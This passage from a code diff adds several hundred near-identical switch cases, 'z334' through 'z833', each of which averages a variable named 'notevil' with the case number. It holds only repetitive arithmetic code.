+ break;
+case "z334":
+ notevil = (notevil + 334)/2;
+ break;
+case "z335":
+ notevil = (notevil + 335)/2;
+ break;
+case "z336":
+ notevil = (notevil + 336)/2;
+ break;
+case "z337":
+ notevil = (notevil + 337)/2;
+ break;
+case "z338":
+ notevil = (notevil + 338)/2;
+ break;
+case "z339":
+ notevil = (notevil + 339)/2;
+ break;
+case "z340":
+ notevil = (notevil + 340)/2;
+ break;
+case "z341":
+ notevil = (notevil + 341)/2;
+ break;
+case "z342":
+ notevil = (notevil + 342)/2;
+ break;
+case "z343":
+ notevil = (notevil + 343)/2;
+ break;
+case "z344":
+ notevil = (notevil + 344)/2;
+ break;
+case "z345":
+ notevil = (notevil + 345)/2;
+ break;
+case "z346":
+ notevil = (notevil + 346)/2;
+ break;
+case "z347":
+ notevil = (notevil + 347)/2;
+ break;
+case "z348":
+ notevil = (notevil + 348)/2;
+ break;
+case "z349":
+ notevil = (notevil + 349)/2;
+ break;
+case "z350":
+ notevil = (notevil + 350)/2;
+ break;
+case "z351":
+ notevil = (notevil + 351)/2;
+ break;
+case "z352":
+ notevil = (notevil + 352)/2;
+ break;
+case "z353":
+ notevil = (notevil + 353)/2;
+ break;
+case "z354":
+ notevil = (notevil + 354)/2;
+ break;
+case "z355":
+ notevil = (notevil + 355)/2;
+ break;
+case "z356":
+ notevil = (notevil + 356)/2;
+ break;
+case "z357":
+ notevil = (notevil + 357)/2;
+ break;
+case "z358":
+ notevil = (notevil + 358)/2;
+ break;
+case "z359":
+ notevil = (notevil + 359)/2;
+ break;
+case "z360":
+ notevil = (notevil + 360)/2;
+ break;
+case "z361":
+ notevil = (notevil + 361)/2;
+ break;
+case "z362":
+ notevil = (notevil + 362)/2;
+ break;
+case "z363":
+ notevil = (notevil + 363)/2;
+ break;
+case "z364":
+ notevil = (notevil + 364)/2;
+ break;
+case "z365":
+ notevil = (notevil + 365)/2;
+ break;
+case "z366":
+ notevil = (notevil + 366)/2;
+ break;
+case "z367":
+ notevil = (notevil + 367)/2;
+ break;
+case "z368":
+ notevil = (notevil + 368)/2;
+ break;
+case "z369":
+ notevil = (notevil + 369)/2;
+ break;
+case "z370":
+ notevil = (notevil + 370)/2;
+ break;
+case "z371":
+ notevil = (notevil + 371)/2;
+ break;
+case "z372":
+ notevil = (notevil + 372)/2;
+ break;
+case "z373":
+ notevil = (notevil + 373)/2;
+ break;
+case "z374":
+ notevil = (notevil + 374)/2;
+ break;
+case "z375":
+ notevil = (notevil + 375)/2;
+ break;
+case "z376":
+ notevil = (notevil + 376)/2;
+ break;
+case "z377":
+ notevil = (notevil + 377)/2;
+ break;
+case "z378":
+ notevil = (notevil + 378)/2;
+ break;
+case "z379":
+ notevil = (notevil + 379)/2;
+ break;
+case "z380":
+ notevil = (notevil + 380)/2;
+ break;
+case "z381":
+ notevil = (notevil + 381)/2;
+ break;
+case "z382":
+ notevil = (notevil + 382)/2;
+ break;
+case "z383":
+ notevil = (notevil + 383)/2;
+ break;
+case "z384":
+ notevil = (notevil + 384)/2;
+ break;
+case "z385":
+ notevil = (notevil + 385)/2;
+ break;
+case "z386":
+ notevil = (notevil + 386)/2;
+ break;
+case "z387":
+ notevil = (notevil + 387)/2;
+ break;
+case "z388":
+ notevil = (notevil + 388)/2;
+ break;
+case "z389":
+ notevil = (notevil + 389)/2;
+ break;
+case "z390":
+ notevil = (notevil + 390)/2;
+ break;
+case "z391":
+ notevil = (notevil + 391)/2;
+ break;
+case "z392":
+ notevil = (notevil + 392)/2;
+ break;
+case "z393":
+ notevil = (notevil + 393)/2;
+ break;
+case "z394":
+ notevil = (notevil + 394)/2;
+ break;
+case "z395":
+ notevil = (notevil + 395)/2;
+ break;
+case "z396":
+ notevil = (notevil + 396)/2;
+ break;
+case "z397":
+ notevil = (notevil + 397)/2;
+ break;
+case "z398":
+ notevil = (notevil + 398)/2;
+ break;
+case "z399":
+ notevil = (notevil + 399)/2;
+ break;
+case "z400":
+ notevil = (notevil + 400)/2;
+ break;
+case "z401":
+ notevil = (notevil + 401)/2;
+ break;
+case "z402":
+ notevil = (notevil + 402)/2;
+ break;
+case "z403":
+ notevil = (notevil + 403)/2;
+ break;
+case "z404":
+ notevil = (notevil + 404)/2;
+ break;
+case "z405":
+ notevil = (notevil + 405)/2;
+ break;
+case "z406":
+ notevil = (notevil + 406)/2;
+ break;
+case "z407":
+ notevil = (notevil + 407)/2;
+ break;
+case "z408":
+ notevil = (notevil + 408)/2;
+ break;
+case "z409":
+ notevil = (notevil + 409)/2;
+ break;
+case "z410":
+ notevil = (notevil + 410)/2;
+ break;
+case "z411":
+ notevil = (notevil + 411)/2;
+ break;
+case "z412":
+ notevil = (notevil + 412)/2;
+ break;
+case "z413":
+ notevil = (notevil + 413)/2;
+ break;
+case "z414":
+ notevil = (notevil + 414)/2;
+ break;
+case "z415":
+ notevil = (notevil + 415)/2;
+ break;
+case "z416":
+ notevil = (notevil + 416)/2;
+ break;
+case "z417":
+ notevil = (notevil + 417)/2;
+ break;
+case "z418":
+ notevil = (notevil + 418)/2;
+ break;
+case "z419":
+ notevil = (notevil + 419)/2;
+ break;
+case "z420":
+ notevil = (notevil + 420)/2;
+ break;
+case "z421":
+ notevil = (notevil + 421)/2;
+ break;
+case "z422":
+ notevil = (notevil + 422)/2;
+ break;
+case "z423":
+ notevil = (notevil + 423)/2;
+ break;
+case "z424":
+ notevil = (notevil + 424)/2;
+ break;
+case "z425":
+ notevil = (notevil + 425)/2;
+ break;
+case "z426":
+ notevil = (notevil + 426)/2;
+ break;
+case "z427":
+ notevil = (notevil + 427)/2;
+ break;
+case "z428":
+ notevil = (notevil + 428)/2;
+ break;
+case "z429":
+ notevil = (notevil + 429)/2;
+ break;
+case "z430":
+ notevil = (notevil + 430)/2;
+ break;
+case "z431":
+ notevil = (notevil + 431)/2;
+ break;
+case "z432":
+ notevil = (notevil + 432)/2;
+ break;
+case "z433":
+ notevil = (notevil + 433)/2;
+ break;
+case "z434":
+ notevil = (notevil + 434)/2;
+ break;
+case "z435":
+ notevil = (notevil + 435)/2;
+ break;
+case "z436":
+ notevil = (notevil + 436)/2;
+ break;
+case "z437":
+ notevil = (notevil + 437)/2;
+ break;
+case "z438":
+ notevil = (notevil + 438)/2;
+ break;
+case "z439":
+ notevil = (notevil + 439)/2;
+ break;
+case "z440":
+ notevil = (notevil + 440)/2;
+ break;
+case "z441":
+ notevil = (notevil + 441)/2;
+ break;
+case "z442":
+ notevil = (notevil + 442)/2;
+ break;
+case "z443":
+ notevil = (notevil + 443)/2;
+ break;
+case "z444":
+ notevil = (notevil + 444)/2;
+ break;
+case "z445":
+ notevil = (notevil + 445)/2;
+ break;
+case "z446":
+ notevil = (notevil + 446)/2;
+ break;
+case "z447":
+ notevil = (notevil + 447)/2;
+ break;
+case "z448":
+ notevil = (notevil + 448)/2;
+ break;
+case "z449":
+ notevil = (notevil + 449)/2;
+ break;
+case "z450":
+ notevil = (notevil + 450)/2;
+ break;
+case "z451":
+ notevil = (notevil + 451)/2;
+ break;
+case "z452":
+ notevil = (notevil + 452)/2;
+ break;
+case "z453":
+ notevil = (notevil + 453)/2;
+ break;
+case "z454":
+ notevil = (notevil + 454)/2;
+ break;
+case "z455":
+ notevil = (notevil + 455)/2;
+ break;
+case "z456":
+ notevil = (notevil + 456)/2;
+ break;
+case "z457":
+ notevil = (notevil + 457)/2;
+ break;
+case "z458":
+ notevil = (notevil + 458)/2;
+ break;
+case "z459":
+ notevil = (notevil + 459)/2;
+ break;
+case "z460":
+ notevil = (notevil + 460)/2;
+ break;
+case "z461":
+ notevil = (notevil + 461)/2;
+ break;
+case "z462":
+ notevil = (notevil + 462)/2;
+ break;
+case "z463":
+ notevil = (notevil + 463)/2;
+ break;
+case "z464":
+ notevil = (notevil + 464)/2;
+ break;
+case "z465":
+ notevil = (notevil + 465)/2;
+ break;
+case "z466":
+ notevil = (notevil + 466)/2;
+ break;
+case "z467":
+ notevil = (notevil + 467)/2;
+ break;
+case "z468":
+ notevil = (notevil + 468)/2;
+ break;
+case "z469":
+ notevil = (notevil + 469)/2;
+ break;
+case "z470":
+ notevil = (notevil + 470)/2;
+ break;
+case "z471":
+ notevil = (notevil + 471)/2;
+ break;
+case "z472":
+ notevil = (notevil + 472)/2;
+ break;
+case "z473":
+ notevil = (notevil + 473)/2;
+ break;
+case "z474":
+ notevil = (notevil + 474)/2;
+ break;
+case "z475":
+ notevil = (notevil + 475)/2;
+ break;
+case "z476":
+ notevil = (notevil + 476)/2;
+ break;
+case "z477":
+ notevil = (notevil + 477)/2;
+ break;
+case "z478":
+ notevil = (notevil + 478)/2;
+ break;
+case "z479":
+ notevil = (notevil + 479)/2;
+ break;
+case "z480":
+ notevil = (notevil + 480)/2;
+ break;
+case "z481":
+ notevil = (notevil + 481)/2;
+ break;
+case "z482":
+ notevil = (notevil + 482)/2;
+ break;
+case "z483":
+ notevil = (notevil + 483)/2;
+ break;
+case "z484":
+ notevil = (notevil + 484)/2;
+ break;
+case "z485":
+ notevil = (notevil + 485)/2;
+ break;
+case "z486":
+ notevil = (notevil + 486)/2;
+ break;
+case "z487":
+ notevil = (notevil + 487)/2;
+ break;
+case "z488":
+ notevil = (notevil + 488)/2;
+ break;
+case "z489":
+ notevil = (notevil + 489)/2;
+ break;
+case "z490":
+ notevil = (notevil + 490)/2;
+ break;
+case "z491":
+ notevil = (notevil + 491)/2;
+ break;
+case "z492":
+ notevil = (notevil + 492)/2;
+ break;
+case "z493":
+ notevil = (notevil + 493)/2;
+ break;
+case "z494":
+ notevil = (notevil + 494)/2;
+ break;
+case "z495":
+ notevil = (notevil + 495)/2;
+ break;
+case "z496":
+ notevil = (notevil + 496)/2;
+ break;
+case "z497":
+ notevil = (notevil + 497)/2;
+ break;
+case "z498":
+ notevil = (notevil + 498)/2;
+ break;
+case "z499":
+ notevil = (notevil + 499)/2;
+ break;
+case "z500":
+ notevil = (notevil + 500)/2;
+ break;
+case "z501":
+ notevil = (notevil + 501)/2;
+ break;
+case "z502":
+ notevil = (notevil + 502)/2;
+ break;
+case "z503":
+ notevil = (notevil + 503)/2;
+ break;
+case "z504":
+ notevil = (notevil + 504)/2;
+ break;
+case "z505":
+ notevil = (notevil + 505)/2;
+ break;
+case "z506":
+ notevil = (notevil + 506)/2;
+ break;
+case "z507":
+ notevil = (notevil + 507)/2;
+ break;
+case "z508":
+ notevil = (notevil + 508)/2;
+ break;
+case "z509":
+ notevil = (notevil + 509)/2;
+ break;
+case "z510":
+ notevil = (notevil + 510)/2;
+ break;
+case "z511":
+ notevil = (notevil + 511)/2;
+ break;
+case "z512":
+ notevil = (notevil + 512)/2;
+ break;
+case "z513":
+ notevil = (notevil + 513)/2;
+ break;
+case "z514":
+ notevil = (notevil + 514)/2;
+ break;
+case "z515":
+ notevil = (notevil + 515)/2;
+ break;
+case "z516":
+ notevil = (notevil + 516)/2;
+ break;
+case "z517":
+ notevil = (notevil + 517)/2;
+ break;
+case "z518":
+ notevil = (notevil + 518)/2;
+ break;
+case "z519":
+ notevil = (notevil + 519)/2;
+ break;
+case "z520":
+ notevil = (notevil + 520)/2;
+ break;
+case "z521":
+ notevil = (notevil + 521)/2;
+ break;
+case "z522":
+ notevil = (notevil + 522)/2;
+ break;
+case "z523":
+ notevil = (notevil + 523)/2;
+ break;
+case "z524":
+ notevil = (notevil + 524)/2;
+ break;
+case "z525":
+ notevil = (notevil + 525)/2;
+ break;
+case "z526":
+ notevil = (notevil + 526)/2;
+ break;
+case "z527":
+ notevil = (notevil + 527)/2;
+ break;
+case "z528":
+ notevil = (notevil + 528)/2;
+ break;
+case "z529":
+ notevil = (notevil + 529)/2;
+ break;
+case "z530":
+ notevil = (notevil + 530)/2;
+ break;
+case "z531":
+ notevil = (notevil + 531)/2;
+ break;
+case "z532":
+ notevil = (notevil + 532)/2;
+ break;
+case "z533":
+ notevil = (notevil + 533)/2;
+ break;
+case "z534":
+ notevil = (notevil + 534)/2;
+ break;
+case "z535":
+ notevil = (notevil + 535)/2;
+ break;
+case "z536":
+ notevil = (notevil + 536)/2;
+ break;
+case "z537":
+ notevil = (notevil + 537)/2;
+ break;
+case "z538":
+ notevil = (notevil + 538)/2;
+ break;
+case "z539":
+ notevil = (notevil + 539)/2;
+ break;
+case "z540":
+ notevil = (notevil + 540)/2;
+ break;
+case "z541":
+ notevil = (notevil + 541)/2;
+ break;
+case "z542":
+ notevil = (notevil + 542)/2;
+ break;
+case "z543":
+ notevil = (notevil + 543)/2;
+ break;
+case "z544":
+ notevil = (notevil + 544)/2;
+ break;
+case "z545":
+ notevil = (notevil + 545)/2;
+ break;
+case "z546":
+ notevil = (notevil + 546)/2;
+ break;
+case "z547":
+ notevil = (notevil + 547)/2;
+ break;
+case "z548":
+ notevil = (notevil + 548)/2;
+ break;
+case "z549":
+ notevil = (notevil + 549)/2;
+ break;
+case "z550":
+ notevil = (notevil + 550)/2;
+ break;
+case "z551":
+ notevil = (notevil + 551)/2;
+ break;
+case "z552":
+ notevil = (notevil + 552)/2;
+ break;
+case "z553":
+ notevil = (notevil + 553)/2;
+ break;
+case "z554":
+ notevil = (notevil + 554)/2;
+ break;
+case "z555":
+ notevil = (notevil + 555)/2;
+ break;
+case "z556":
+ notevil = (notevil + 556)/2;
+ break;
+case "z557":
+ notevil = (notevil + 557)/2;
+ break;
+case "z558":
+ notevil = (notevil + 558)/2;
+ break;
+case "z559":
+ notevil = (notevil + 559)/2;
+ break;
+case "z560":
+ notevil = (notevil + 560)/2;
+ break;
+case "z561":
+ notevil = (notevil + 561)/2;
+ break;
+case "z562":
+ notevil = (notevil + 562)/2;
+ break;
+case "z563":
+ notevil = (notevil + 563)/2;
+ break;
+case "z564":
+ notevil = (notevil + 564)/2;
+ break;
+case "z565":
+ notevil = (notevil + 565)/2;
+ break;
+case "z566":
+ notevil = (notevil + 566)/2;
+ break;
+case "z567":
+ notevil = (notevil + 567)/2;
+ break;
+case "z568":
+ notevil = (notevil + 568)/2;
+ break;
+case "z569":
+ notevil = (notevil + 569)/2;
+ break;
+case "z570":
+ notevil = (notevil + 570)/2;
+ break;
+case "z571":
+ notevil = (notevil + 571)/2;
+ break;
+case "z572":
+ notevil = (notevil + 572)/2;
+ break;
+case "z573":
+ notevil = (notevil + 573)/2;
+ break;
+case "z574":
+ notevil = (notevil + 574)/2;
+ break;
+case "z575":
+ notevil = (notevil + 575)/2;
+ break;
+case "z576":
+ notevil = (notevil + 576)/2;
+ break;
+case "z577":
+ notevil = (notevil + 577)/2;
+ break;
+case "z578":
+ notevil = (notevil + 578)/2;
+ break;
+case "z579":
+ notevil = (notevil + 579)/2;
+ break;
+case "z580":
+ notevil = (notevil + 580)/2;
+ break;
+case "z581":
+ notevil = (notevil + 581)/2;
+ break;
+case "z582":
+ notevil = (notevil + 582)/2;
+ break;
+case "z583":
+ notevil = (notevil + 583)/2;
+ break;
+case "z584":
+ notevil = (notevil + 584)/2;
+ break;
+case "z585":
+ notevil = (notevil + 585)/2;
+ break;
+case "z586":
+ notevil = (notevil + 586)/2;
+ break;
+case "z587":
+ notevil = (notevil + 587)/2;
+ break;
+case "z588":
+ notevil = (notevil + 588)/2;
+ break;
+case "z589":
+ notevil = (notevil + 589)/2;
+ break;
+case "z590":
+ notevil = (notevil + 590)/2;
+ break;
+case "z591":
+ notevil = (notevil + 591)/2;
+ break;
+case "z592":
+ notevil = (notevil + 592)/2;
+ break;
+case "z593":
+ notevil = (notevil + 593)/2;
+ break;
+case "z594":
+ notevil = (notevil + 594)/2;
+ break;
+case "z595":
+ notevil = (notevil + 595)/2;
+ break;
+case "z596":
+ notevil = (notevil + 596)/2;
+ break;
+case "z597":
+ notevil = (notevil + 597)/2;
+ break;
+case "z598":
+ notevil = (notevil + 598)/2;
+ break;
+case "z599":
+ notevil = (notevil + 599)/2;
+ break;
+case "z600":
+ notevil = (notevil + 600)/2;
+ break;
+case "z601":
+ notevil = (notevil + 601)/2;
+ break;
+case "z602":
+ notevil = (notevil + 602)/2;
+ break;
+case "z603":
+ notevil = (notevil + 603)/2;
+ break;
+case "z604":
+ notevil = (notevil + 604)/2;
+ break;
+case "z605":
+ notevil = (notevil + 605)/2;
+ break;
+case "z606":
+ notevil = (notevil + 606)/2;
+ break;
+case "z607":
+ notevil = (notevil + 607)/2;
+ break;
+case "z608":
+ notevil = (notevil + 608)/2;
+ break;
+case "z609":
+ notevil = (notevil + 609)/2;
+ break;
+case "z610":
+ notevil = (notevil + 610)/2;
+ break;
+case "z611":
+ notevil = (notevil + 611)/2;
+ break;
+case "z612":
+ notevil = (notevil + 612)/2;
+ break;
+case "z613":
+ notevil = (notevil + 613)/2;
+ break;
+case "z614":
+ notevil = (notevil + 614)/2;
+ break;
+case "z615":
+ notevil = (notevil + 615)/2;
+ break;
+case "z616":
+ notevil = (notevil + 616)/2;
+ break;
+case "z617":
+ notevil = (notevil + 617)/2;
+ break;
+case "z618":
+ notevil = (notevil + 618)/2;
+ break;
+case "z619":
+ notevil = (notevil + 619)/2;
+ break;
+case "z620":
+ notevil = (notevil + 620)/2;
+ break;
+case "z621":
+ notevil = (notevil + 621)/2;
+ break;
+case "z622":
+ notevil = (notevil + 622)/2;
+ break;
+case "z623":
+ notevil = (notevil + 623)/2;
+ break;
+case "z624":
+ notevil = (notevil + 624)/2;
+ break;
+case "z625":
+ notevil = (notevil + 625)/2;
+ break;
+case "z626":
+ notevil = (notevil + 626)/2;
+ break;
+case "z627":
+ notevil = (notevil + 627)/2;
+ break;
+case "z628":
+ notevil = (notevil + 628)/2;
+ break;
+case "z629":
+ notevil = (notevil + 629)/2;
+ break;
+case "z630":
+ notevil = (notevil + 630)/2;
+ break;
+case "z631":
+ notevil = (notevil + 631)/2;
+ break;
+case "z632":
+ notevil = (notevil + 632)/2;
+ break;
+case "z633":
+ notevil = (notevil + 633)/2;
+ break;
+case "z634":
+ notevil = (notevil + 634)/2;
+ break;
+case "z635":
+ notevil = (notevil + 635)/2;
+ break;
+case "z636":
+ notevil = (notevil + 636)/2;
+ break;
+case "z637":
+ notevil = (notevil + 637)/2;
+ break;
+case "z638":
+ notevil = (notevil + 638)/2;
+ break;
+case "z639":
+ notevil = (notevil + 639)/2;
+ break;
+case "z640":
+ notevil = (notevil + 640)/2;
+ break;
+case "z641":
+ notevil = (notevil + 641)/2;
+ break;
+case "z642":
+ notevil = (notevil + 642)/2;
+ break;
+case "z643":
+ notevil = (notevil + 643)/2;
+ break;
+case "z644":
+ notevil = (notevil + 644)/2;
+ break;
+case "z645":
+ notevil = (notevil + 645)/2;
+ break;
+case "z646":
+ notevil = (notevil + 646)/2;
+ break;
+case "z647":
+ notevil = (notevil + 647)/2;
+ break;
+case "z648":
+ notevil = (notevil + 648)/2;
+ break;
+case "z649":
+ notevil = (notevil + 649)/2;
+ break;
+case "z650":
+ notevil = (notevil + 650)/2;
+ break;
+case "z651":
+ notevil = (notevil + 651)/2;
+ break;
+case "z652":
+ notevil = (notevil + 652)/2;
+ break;
+case "z653":
+ notevil = (notevil + 653)/2;
+ break;
+case "z654":
+ notevil = (notevil + 654)/2;
+ break;
+case "z655":
+ notevil = (notevil + 655)/2;
+ break;
+case "z656":
+ notevil = (notevil + 656)/2;
+ break;
+case "z657":
+ notevil = (notevil + 657)/2;
+ break;
+case "z658":
+ notevil = (notevil + 658)/2;
+ break;
+case "z659":
+ notevil = (notevil + 659)/2;
+ break;
+case "z660":
+ notevil = (notevil + 660)/2;
+ break;
+case "z661":
+ notevil = (notevil + 661)/2;
+ break;
+case "z662":
+ notevil = (notevil + 662)/2;
+ break;
+case "z663":
+ notevil = (notevil + 663)/2;
+ break;
+case "z664":
+ notevil = (notevil + 664)/2;
+ break;
+case "z665":
+ notevil = (notevil + 665)/2;
+ break;
+case "z666":
+ notevil = (notevil + 666)/2;
+ break;
+case "z667":
+ notevil = (notevil + 667)/2;
+ break;
+case "z668":
+ notevil = (notevil + 668)/2;
+ break;
+case "z669":
+ notevil = (notevil + 669)/2;
+ break;
+case "z670":
+ notevil = (notevil + 670)/2;
+ break;
+case "z671":
+ notevil = (notevil + 671)/2;
+ break;
+case "z672":
+ notevil = (notevil + 672)/2;
+ break;
+case "z673":
+ notevil = (notevil + 673)/2;
+ break;
+case "z674":
+ notevil = (notevil + 674)/2;
+ break;
+case "z675":
+ notevil = (notevil + 675)/2;
+ break;
+case "z676":
+ notevil = (notevil + 676)/2;
+ break;
+case "z677":
+ notevil = (notevil + 677)/2;
+ break;
+case "z678":
+ notevil = (notevil + 678)/2;
+ break;
+case "z679":
+ notevil = (notevil + 679)/2;
+ break;
+case "z680":
+ notevil = (notevil + 680)/2;
+ break;
+case "z681":
+ notevil = (notevil + 681)/2;
+ break;
+case "z682":
+ notevil = (notevil + 682)/2;
+ break;
+case "z683":
+ notevil = (notevil + 683)/2;
+ break;
+case "z684":
+ notevil = (notevil + 684)/2;
+ break;
+case "z685":
+ notevil = (notevil + 685)/2;
+ break;
+case "z686":
+ notevil = (notevil + 686)/2;
+ break;
+case "z687":
+ notevil = (notevil + 687)/2;
+ break;
+case "z688":
+ notevil = (notevil + 688)/2;
+ break;
+case "z689":
+ notevil = (notevil + 689)/2;
+ break;
+case "z690":
+ notevil = (notevil + 690)/2;
+ break;
+case "z691":
+ notevil = (notevil + 691)/2;
+ break;
+case "z692":
+ notevil = (notevil + 692)/2;
+ break;
+case "z693":
+ notevil = (notevil + 693)/2;
+ break;
+case "z694":
+ notevil = (notevil + 694)/2;
+ break;
+case "z695":
+ notevil = (notevil + 695)/2;
+ break;
+case "z696":
+ notevil = (notevil + 696)/2;
+ break;
+case "z697":
+ notevil = (notevil + 697)/2;
+ break;
+case "z698":
+ notevil = (notevil + 698)/2;
+ break;
+case "z699":
+ notevil = (notevil + 699)/2;
+ break;
+case "z700":
+ notevil = (notevil + 700)/2;
+ break;
+case "z701":
+ notevil = (notevil + 701)/2;
+ break;
+case "z702":
+ notevil = (notevil + 702)/2;
+ break;
+case "z703":
+ notevil = (notevil + 703)/2;
+ break;
+case "z704":
+ notevil = (notevil + 704)/2;
+ break;
+case "z705":
+ notevil = (notevil + 705)/2;
+ break;
+case "z706":
+ notevil = (notevil + 706)/2;
+ break;
+case "z707":
+ notevil = (notevil + 707)/2;
+ break;
+case "z708":
+ notevil = (notevil + 708)/2;
+ break;
+case "z709":
+ notevil = (notevil + 709)/2;
+ break;
+case "z710":
+ notevil = (notevil + 710)/2;
+ break;
+case "z711":
+ notevil = (notevil + 711)/2;
+ break;
+case "z712":
+ notevil = (notevil + 712)/2;
+ break;
+case "z713":
+ notevil = (notevil + 713)/2;
+ break;
+case "z714":
+ notevil = (notevil + 714)/2;
+ break;
+case "z715":
+ notevil = (notevil + 715)/2;
+ break;
+case "z716":
+ notevil = (notevil + 716)/2;
+ break;
+case "z717":
+ notevil = (notevil + 717)/2;
+ break;
+case "z718":
+ notevil = (notevil + 718)/2;
+ break;
+case "z719":
+ notevil = (notevil + 719)/2;
+ break;
+case "z720":
+ notevil = (notevil + 720)/2;
+ break;
+case "z721":
+ notevil = (notevil + 721)/2;
+ break;
+case "z722":
+ notevil = (notevil + 722)/2;
+ break;
+case "z723":
+ notevil = (notevil + 723)/2;
+ break;
+case "z724":
+ notevil = (notevil + 724)/2;
+ break;
+case "z725":
+ notevil = (notevil + 725)/2;
+ break;
+case "z726":
+ notevil = (notevil + 726)/2;
+ break;
+case "z727":
+ notevil = (notevil + 727)/2;
+ break;
+case "z728":
+ notevil = (notevil + 728)/2;
+ break;
+case "z729":
+ notevil = (notevil + 729)/2;
+ break;
+case "z730":
+ notevil = (notevil + 730)/2;
+ break;
+case "z731":
+ notevil = (notevil + 731)/2;
+ break;
+case "z732":
+ notevil = (notevil + 732)/2;
+ break;
+case "z733":
+ notevil = (notevil + 733)/2;
+ break;
+case "z734":
+ notevil = (notevil + 734)/2;
+ break;
+case "z735":
+ notevil = (notevil + 735)/2;
+ break;
+case "z736":
+ notevil = (notevil + 736)/2;
+ break;
+case "z737":
+ notevil = (notevil + 737)/2;
+ break;
+case "z738":
+ notevil = (notevil + 738)/2;
+ break;
+case "z739":
+ notevil = (notevil + 739)/2;
+ break;
+case "z740":
+ notevil = (notevil + 740)/2;
+ break;
+case "z741":
+ notevil = (notevil + 741)/2;
+ break;
+case "z742":
+ notevil = (notevil + 742)/2;
+ break;
+case "z743":
+ notevil = (notevil + 743)/2;
+ break;
+case "z744":
+ notevil = (notevil + 744)/2;
+ break;
+case "z745":
+ notevil = (notevil + 745)/2;
+ break;
+case "z746":
+ notevil = (notevil + 746)/2;
+ break;
+case "z747":
+ notevil = (notevil + 747)/2;
+ break;
+case "z748":
+ notevil = (notevil + 748)/2;
+ break;
+case "z749":
+ notevil = (notevil + 749)/2;
+ break;
+case "z750":
+ notevil = (notevil + 750)/2;
+ break;
+case "z751":
+ notevil = (notevil + 751)/2;
+ break;
+case "z752":
+ notevil = (notevil + 752)/2;
+ break;
+case "z753":
+ notevil = (notevil + 753)/2;
+ break;
+case "z754":
+ notevil = (notevil + 754)/2;
+ break;
+case "z755":
+ notevil = (notevil + 755)/2;
+ break;
+case "z756":
+ notevil = (notevil + 756)/2;
+ break;
+case "z757":
+ notevil = (notevil + 757)/2;
+ break;
+case "z758":
+ notevil = (notevil + 758)/2;
+ break;
+case "z759":
+ notevil = (notevil + 759)/2;
+ break;
+case "z760":
+ notevil = (notevil + 760)/2;
+ break;
+case "z761":
+ notevil = (notevil + 761)/2;
+ break;
+case "z762":
+ notevil = (notevil + 762)/2;
+ break;
+case "z763":
+ notevil = (notevil + 763)/2;
+ break;
+case "z764":
+ notevil = (notevil + 764)/2;
+ break;
+case "z765":
+ notevil = (notevil + 765)/2;
+ break;
+case "z766":
+ notevil = (notevil + 766)/2;
+ break;
+case "z767":
+ notevil = (notevil + 767)/2;
+ break;
+case "z768":
+ notevil = (notevil + 768)/2;
+ break;
+case "z769":
+ notevil = (notevil + 769)/2;
+ break;
+case "z770":
+ notevil = (notevil + 770)/2;
+ break;
+case "z771":
+ notevil = (notevil + 771)/2;
+ break;
+case "z772":
+ notevil = (notevil + 772)/2;
+ break;
+case "z773":
+ notevil = (notevil + 773)/2;
+ break;
+case "z774":
+ notevil = (notevil + 774)/2;
+ break;
+case "z775":
+ notevil = (notevil + 775)/2;
+ break;
+case "z776":
+ notevil = (notevil + 776)/2;
+ break;
+case "z777":
+ notevil = (notevil + 777)/2;
+ break;
+case "z778":
+ notevil = (notevil + 778)/2;
+ break;
+case "z779":
+ notevil = (notevil + 779)/2;
+ break;
+case "z780":
+ notevil = (notevil + 780)/2;
+ break;
+case "z781":
+ notevil = (notevil + 781)/2;
+ break;
+case "z782":
+ notevil = (notevil + 782)/2;
+ break;
+case "z783":
+ notevil = (notevil + 783)/2;
+ break;
+case "z784":
+ notevil = (notevil + 784)/2;
+ break;
+case "z785":
+ notevil = (notevil + 785)/2;
+ break;
+case "z786":
+ notevil = (notevil + 786)/2;
+ break;
+case "z787":
+ notevil = (notevil + 787)/2;
+ break;
+case "z788":
+ notevil = (notevil + 788)/2;
+ break;
+case "z789":
+ notevil = (notevil + 789)/2;
+ break;
+case "z790":
+ notevil = (notevil + 790)/2;
+ break;
+case "z791":
+ notevil = (notevil + 791)/2;
+ break;
+case "z792":
+ notevil = (notevil + 792)/2;
+ break;
+case "z793":
+ notevil = (notevil + 793)/2;
+ break;
+case "z794":
+ notevil = (notevil + 794)/2;
+ break;
+case "z795":
+ notevil = (notevil + 795)/2;
+ break;
+case "z796":
+ notevil = (notevil + 796)/2;
+ break;
+case "z797":
+ notevil = (notevil + 797)/2;
+ break;
+case "z798":
+ notevil = (notevil + 798)/2;
+ break;
+case "z799":
+ notevil = (notevil + 799)/2;
+ break;
+case "z800":
+ notevil = (notevil + 800)/2;
+ break;
+case "z801":
+ notevil = (notevil + 801)/2;
+ break;
+case "z802":
+ notevil = (notevil + 802)/2;
+ break;
+case "z803":
+ notevil = (notevil + 803)/2;
+ break;
+case "z804":
+ notevil = (notevil + 804)/2;
+ break;
+case "z805":
+ notevil = (notevil + 805)/2;
+ break;
+case "z806":
+ notevil = (notevil + 806)/2;
+ break;
+case "z807":
+ notevil = (notevil + 807)/2;
+ break;
+case "z808":
+ notevil = (notevil + 808)/2;
+ break;
+case "z809":
+ notevil = (notevil + 809)/2;
+ break;
+case "z810":
+ notevil = (notevil + 810)/2;
+ break;
+case "z811":
+ notevil = (notevil + 811)/2;
+ break;
+case "z812":
+ notevil = (notevil + 812)/2;
+ break;
+case "z813":
+ notevil = (notevil + 813)/2;
+ break;
+case "z814":
+ notevil = (notevil + 814)/2;
+ break;
+case "z815":
+ notevil = (notevil + 815)/2;
+ break;
+case "z816":
+ notevil = (notevil + 816)/2;
+ break;
+case "z817":
+ notevil = (notevil + 817)/2;
+ break;
+case "z818":
+ notevil = (notevil + 818)/2;
+ break;
+case "z819":
+ notevil = (notevil + 819)/2;
+ break;
+case "z820":
+ notevil = (notevil + 820)/2;
+ break;
+case "z821":
+ notevil = (notevil + 821)/2;
+ break;
+case "z822":
+ notevil = (notevil + 822)/2;
+ break;
+case "z823":
+ notevil = (notevil + 823)/2;
+ break;
+case "z824":
+ notevil = (notevil + 824)/2;
+ break;
+case "z825":
+ notevil = (notevil + 825)/2;
+ break;
+case "z826":
+ notevil = (notevil + 826)/2;
+ break;
+case "z827":
+ notevil = (notevil + 827)/2;
+ break;
+case "z828":
+ notevil = (notevil + 828)/2;
+ break;
+case "z829":
+ notevil = (notevil + 829)/2;
+ break;
+case "z830":
+ notevil = (notevil + 830)/2;
+ break;
+case "z831":
+ notevil = (notevil + 831)/2;
+ break;
+case "z832":
+ notevil = (notevil + 832)/2;
+ break;
+case "z833":
+ notevil = (notevil + 833)/2;
